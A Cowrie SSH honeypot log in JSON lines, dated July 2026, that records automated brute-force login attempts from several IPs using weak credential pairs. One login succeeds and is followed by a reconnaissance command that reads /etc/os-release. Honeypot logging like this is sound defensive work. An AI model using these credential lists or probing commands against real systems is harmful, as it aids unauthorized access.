{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:43.058333Z","src_ip":"176.32.39.21","session":"cfe4a9225e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:44.024408Z","src_ip":"91.92.40.153","session":"af9ca0d1557d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":39388,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb210a5dd31d","protocol":"ssh","message":"New connection: 103.77.175.15:39388 (10.17.0.5:22) [session: bb210a5dd31d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:45.903495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:45.907480Z","src_ip":"103.77.175.15","session":"bb210a5dd31d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:46.127491Z","src_ip":"103.77.175.15","session":"bb210a5dd31d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23051980","message":"login attempt [root/23051980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:46.788868Z","src_ip":"103.77.175.15","session":"bb210a5dd31d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38244,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7fe6d86847f","protocol":"ssh","message":"New connection: 91.92.40.153:38244 (10.17.0.5:22) [session: b7fe6d86847f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:47.727373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:47.807610Z","src_ip":"91.92.40.153","session":"b7fe6d86847f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:47.906083Z","src_ip":"91.92.40.153","session":"b7fe6d86847f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:48.013443Z","src_ip":"103.77.175.15","session":"bb210a5dd31d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":58516,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e1c8660f9c4","protocol":"ssh","message":"New connection: 160.187.174.22:58516 (159.203.135.109:22) [session: 5e1c8660f9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:48.456453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:48.460357Z","src_ip":"160.187.174.22","session":"5e1c8660f9c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:48.508028Z","src_ip":"91.92.40.153","session":"b7fe6d86847f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:48.712810Z","src_ip":"160.187.174.22","session":"5e1c8660f9c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:49.432612Z","src_ip":"160.187.174.22","session":"5e1c8660f9c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:49.933195Z","src_ip":"91.92.40.153","session":"b7fe6d86847f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:50.677142Z","src_ip":"160.187.174.22","session":"5e1c8660f9c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":58470,"dst_ip":"10.17.0.5","dst_port":22,"session":"df8e24d5f518","protocol":"ssh","message":"New connection: 91.92.40.153:58470 (10.17.0.5:22) [session: df8e24d5f518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:53.328916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:53.806371Z","src_ip":"91.92.40.153","session":"df8e24d5f518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:53.809736Z","src_ip":"91.92.40.153","session":"df8e24d5f518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:55.944255Z","src_ip":"91.92.40.153","session":"df8e24d5f518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:57.907773Z","src_ip":"91.92.40.153","session":"df8e24d5f518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":58488,"dst_ip":"10.17.0.5","dst_port":22,"session":"f37bd531f5a1","protocol":"ssh","message":"New connection: 91.92.40.153:58488 (10.17.0.5:22) [session: f37bd531f5a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:59.753092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:00.059979Z","src_ip":"91.92.40.153","session":"f37bd531f5a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:00.063231Z","src_ip":"91.92.40.153","session":"f37bd531f5a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:01.604743Z","src_ip":"91.92.40.153","session":"f37bd531f5a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@","message":"login attempt [admin/admin@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:03.463943Z","src_ip":"139.99.74.35","session":"5fa9f8910050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:03.469043Z","src_ip":"91.92.40.153","session":"f37bd531f5a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45496,"dst_ip":"10.17.0.5","dst_port":22,"session":"e40ee45cee7a","protocol":"ssh","message":"New connection: 91.92.40.153:45496 (10.17.0.5:22) [session: e40ee45cee7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:05.713141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:06.042014Z","src_ip":"91.92.40.153","session":"e40ee45cee7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:06.045820Z","src_ip":"91.92.40.153","session":"e40ee45cee7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:08.147595Z","src_ip":"91.92.40.153","session":"e40ee45cee7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:09.689404Z","src_ip":"91.92.40.153","session":"e40ee45cee7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45546,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a864f9f93fe","protocol":"ssh","message":"New connection: 91.92.40.153:45546 (10.17.0.5:22) [session: 5a864f9f93fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:11.705395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:12.022814Z","src_ip":"91.92.40.153","session":"5a864f9f93fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:12.032890Z","src_ip":"91.92.40.153","session":"5a864f9f93fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":42044,"dst_ip":"159.203.135.109","dst_port":22,"session":"49d4b16c73b0","protocol":"ssh","message":"New connection: 160.187.174.22:42044 (159.203.135.109:22) [session: 49d4b16c73b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:12.380219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:12.389708Z","src_ip":"160.187.174.22","session":"49d4b16c73b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:12.653023Z","src_ip":"160.187.174.22","session":"49d4b16c73b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:13.404446Z","src_ip":"160.187.174.22","session":"49d4b16c73b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:14.360593Z","src_ip":"91.92.40.153","session":"5a864f9f93fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:14.655812Z","src_ip":"160.187.174.22","session":"49d4b16c73b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:15.895863Z","src_ip":"91.92.40.153","session":"5a864f9f93fe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:16.246297Z","src_ip":"139.99.74.35","session":"5fa9f8910050","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a && echo \"====\" && cat /etc/os-release","message":"CMD: uname -a && echo \"====\" && cat /etc/os-release","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:16.249634Z","src_ip":"139.99.74.35","session":"5fa9f8910050","protocol":"ssh"}
